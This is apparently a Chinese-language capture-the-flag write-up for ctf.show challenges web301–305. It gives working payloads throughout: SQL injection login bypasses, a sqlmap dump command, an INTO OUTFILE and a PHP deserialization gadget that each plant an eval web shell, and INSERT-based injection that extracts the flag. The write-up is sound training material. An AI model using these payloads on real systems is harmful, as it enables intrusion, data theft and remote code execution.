web301
在checklogin.php 发现了
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户,可以使用这个账户登录
mysql的特性, 在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户,可以使用这个账户登录
然后我们就伪造了密码,就可以进行登录了
username:
-1' union select 1#
password:
1
sqlmap
python .\sqlmap.py -u "http://fddf2115-423b-4701-b77b-8ef5f2194ee7.challenge.ctf.show:8080/" --form --batch --dump
userid=a' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"%23&userpwd=1
然后访问shell.php再rce
web302
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
改变的地方
<?php
function sds_decode($str){return md5(md5($str.md5(base64_encode("sds")))."sds");
}
$str=1;
var_dump(sds_decode($str));
?>
这里$str随便命令,相应的把密码改了就行了
userid:
-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#
userpass:
1
web303
在文件里面就看到了
if(strlen($username)>6){die();
}
然后就没看到啥了
也没看到
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
这里使用insert注入
在dptadd.php注入
dpt_name=-1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#dpt_name=-1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#dpt_name=-1',sds_address=(select flag from sds_fl9g)#
web304
function sds_waf($str){return preg_match('/[0-9]|[a-z]|-/i', $str);
}
正则过滤了这些东西,那么
做法与上题一样,没啥区别,不知道过滤的啥
web305
多了这一段
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){$user = unserialize($user_cookie);
}
而且还在fun.php里面多了
function sds_waf($str){if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){return false;}else{return true;}
}
?>
利用序列化写个小马
<?php
class user{public $username;public $password;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __destruct(){file_put_contents($this->username, $this->password);}
}
$a=new user('1.php','<?php eval($_POST[1]);?>');
echo urlencode(serialize($a));?>
在corn.php中发现远程SQL
$mysqluser="root";
$mysqlpwd="root";
$mysqldb="sds";
$mysqlhost="localhost";
$mysqlport="3306";
找了好久终于知道怎么用antsword链接数据库了,右击数据管理
我还在这里写注入语句,我真傻逼